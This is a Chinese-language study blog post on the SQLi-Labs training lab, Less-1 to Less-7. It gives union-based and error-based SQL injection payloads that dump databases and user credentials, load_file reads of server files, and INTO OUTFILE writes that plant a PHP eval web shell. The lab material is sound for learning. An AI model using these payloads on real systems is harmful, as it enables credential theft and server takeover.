SQLi-Labs 学习体会(Less 1-3)
ess-1 get 字符型
虽然网上有无数的操作教程帖,但是跟着操作完仍然云里雾里,决心要沉淀一遍,弄清原理。
整个过程我概括为:1、判断是否存在注入。2.如果存在,判断user列表列数。3、爆破数据库名。4、爆破数据表名。5. 爆破数据表字段。
这其中有一些数据库的基础知识需要掌握,文中回补充说明。
我们回到页面,页面显示:Please input the ID as parameter with numeric value (其实是字符型)
输入http://127.0.0.1/sqli-labs/Less-1/?id=1,成功显示用户名和密码。
1. 判断是否存在注入:
白盒方法:查看index.php文件代码
黑盒方法:URL后添加?id=1' ,返回:
URL后添加?id=1' or'1'='1 ,正常返回用户名和密码;
URL后添加?id=1' or 1=1 --# ,正常返回用户名和密码。
说明存在注入。
2. 判断users表中的列数:利用 order by 来判断。%23 是指 # 的编码
?id=1' order by 5%23 或者id=1' order by 5 -- #,
取半值,输入?id=1' order by 3%23 或者id=1' order by 3 -- #,
取中间的4,输入?id=1' order by 4%23 或者id=1' order by 4 -- #
可以知道列数为3.
使用联合语句 union 来查询,输入?id=-1' union select 1,2,3 %23
网上大佬 讲解:这里把1改成-1,原因是当用id=1的时候执行的结果只有一条记录,这是因为在 index.php 中并没有循环取出数据。(还是得结合代码呀)
解决方法是:让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了,这个id他一般传的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行
可以看到只有第2列和第3列的结果显示在页面上,我们只有 2,3可以用,接下来我们就利用 2,3来查询数据库的信息,需要用到的函数有:
concat_ws():从数据库里取N个字段,然后组合到一起用符号分割显示,第一个参数剩余参数间的分隔符
char():将十进制ASCII码转化成字符
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
3. 获取数据库名。使用的payload为:?id=123' union select 1,group_concat(schema_name),3 from information_schema.schemata -- #
4. 获取数据表名。使用的payload为:?id=123' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
5. 获取表内字段。使用的payload为:?id=123' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- #
方法二:
1. 获取用户、数据库名、版本号,使用的payload为:
?id=-1' union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23
这里的32表示 [空格](试验了可以换成其他的数字,没看出来体现在哪),58表示 [:],应该是表示使用:连接。
(摘自网友)information_schema为mysql的数据库的默认数据库。记录是当前数据库的数据库,表,列,用户权限等信息。
SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
注意,查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着,当然用其十六进制表示也可以,数值类型的就不用单引号了,这对过滤单引号应该有指导意义。
security的十六进制转换是:0x7365637572697479
16进制转换地址:http://www.bejson.com/convert/ox2str/
2. 获取表名
方法一:?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 %23
方法二:只返回一个table,原因很简单,还是循环问题。那么我们可以使用limit来依次列举。通过不断的改变,limit的第一个参数,就可以一次列举出来。
使用的payload为:
?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 %23
方法三:更方便的方法是,直接使用 group_concat函数,该函数返回一个字符串结果,该结果由分组中的值连接组合而成,使用的payload为:
?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+
或者?id=-1%27%20union%20select%201,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32))%20from%20users--%20#
Less-2 get - 数字型
1、判断是否存在注入。2.如果存在,判断user列表列数。3、爆破数据库名。4、爆破数据表名。5. 爆破数据表字段。
我们回到页面,页面显示:Please input the ID as parameter with numeric value
输入http://127.0.0.1/sqli-labs/Less-2/?id=3,成功显示用户名和密码。
1. 判断是否存在注入:
白盒方法:查看index.php文件代码
与less1的区别在于id上没有单引号了
黑盒方法:sql对于数字型的数据可以不加单引号。因此注入也更加容易。
1. 判断是否存在注入
?id=1 and 1=1 ;?id=1 and 1=2
2. 判断users表中的列数:利用 order by 来判断。%23 是指 # 的编码
?id=1' order by 5%23 或者id=1' order by 5 -- #
3. 获取数据库名。使用的payload为:?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata -- #
4. 获取数据表名。使用的payload为:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
5. 获取表内字段。使用的payload为:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- # (显示不全)
或者直接:?id=-1 union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+
浏览器编码后为: ?id=-1%20union%20select%201,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32))%20from%20users--+
或者
?id=-1 union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users-- #
?id=-1%20union%20select%201,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32))%20from%20users--%20#
Less 3 GET单引号变形字符型注入
最终payload为:?id=-1') union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+
') 是因为需要提前把id的值闭合,并union上后面的语句,--+把最后面的')注释了。
Less 4 get 双引号注入
最终payload为:?id=-1") union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+
') 是因为需要提前把id的值闭合,并union上后面的语句,--+把最后面的')注释了。
payload为?id=1' 的时候,能正常显示。 因为php中的双引号可以包含单引号 (" $id' ")
Less-5双注入GET单引号字符型注入
可以看到,显示的内容改变了,为you are in ...,并未显示用户信息。
双注入详解见 https://blog.csdn.net/lixiangminghate/article/details/80466257
或者https://mochazz.github.io/2017/09/23/Double_%20SQL_Injection/
总结一下,双查询注入其实就是两个嵌套的查询,即select ...(select ...),先执行里面的子select查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组
concat() 表示任意字符串的连接,未来更好的显示。
我们要的是报错信息中所附带的我们需要的信息,而不是正常查询的结果,因为正常查询,网页只会给我们返回”You are in”。
?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a--+
0x3a表示ASCII码中的冒号,可以换成任意符号。我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下两个结果了。
可以把database()换成任意函数,如version(), user()等。
更换database函数,查看表名:
?id=-1' union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'*',floor(rand()*2))as a from information_schema.tables group by a--+
查询用户信息:
?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+
通过改变 limit 的值就可以遍历用户信息了。
Less-6双注入GET双引号字符型注入
?id=4" and 1=1--+ 正常显示。
查看数据库名 ?id=-4" union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a--+
遍历查看用户信息
?id=-1" union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+
?id=-1" union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+
居然显示you are in。。。why
Less-7导出文件GET字符型注
正常输入id,显示弹出 Use outfile,尝试之前的方法行不通了,他把报错做了处理统一返回“You have an error in your SQL syntax”,明显的,他也给出了提示use outfile,outfile的固定结构是:select A into outfile B,这里的B通常是一个文件路径,A可以是文本内容(小马),也可以是数据库信息,于是这里就有三种思路:
第一种,构造select * from users into outfile "数据库导入导出数据的目录",先来判断一下我们是否是最高权限
?id=4")) and (select count(*) from mysql.user)>0 正常显示,说明拥有最高权限。why?
Load_file(file_name)函数读取文件并返回该文件的内容作为一个字符串
使用条件:
必须要权限读取且文件必须完全可读
and (select count(*) from mysql.user)>0
如果返回正常,说明有读写权限。
欲读取文件必须位于服务器上
必须指定文件完整路径 //可以想办法提交错误的Query让程序报错获得路径
欲读取文件必须小于 max_allowed_packet
用法:
union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码
union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”
union select 1,1,1,load_file(c:\\boot.ini)
注意:路径里的/用 \\代替
导入到文件
SELECT.....INTO OUTFILE 'file_name'
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name不能是一个已经存在的文件。
有两种利用方式:
Select '<?php @eval($_post[“mima”])?>' into outfile “c:\\phpnow\\htdocs\\test.php”//即直接将select内容导入文件中,但这里需要注意特殊符号被转义
Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件//本意是行结尾时要使用Lines terminated by 后面的内容,通常为'/r/n',我们在BY后面添加自己的16进制文件
可以是一句话或其他任何代码。
Tips
文件路径注意转义
如果当前页面无法导出文件,可写入到新文件中读取:
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’
即将my.ini导出到test.php,我们访问test.php可看到文件内容
从源代码中可以看到Query为
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
此处依旧可以使用报错注入,但这里我们练习文件导入注入
?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'c:\\xampp\\htdocs\\2.php' --+
导出用户名及密码,需知道当前查询表名
有几个需要注意的点,这里联合查询的条件是前面的语句为真,即id=1返回正常,还有就是windows中的'/'换成'\'
?id=1')) union select 1,'<?php @eval($_POST["syc"])?>',3 into outfile 'c:\\xampp\\htdocs\\new.php' --+
?id=1')) union select 1,version(),3 into outfile 'c:\\xampp\\htdocs\\new.php' LINES TERMINATED BY 0x3c3f70687020406576616c28245f504f53545b22737963225d293f3e --+
两种语句均是同样的效果,写入一句话成功后直接用菜刀连接即可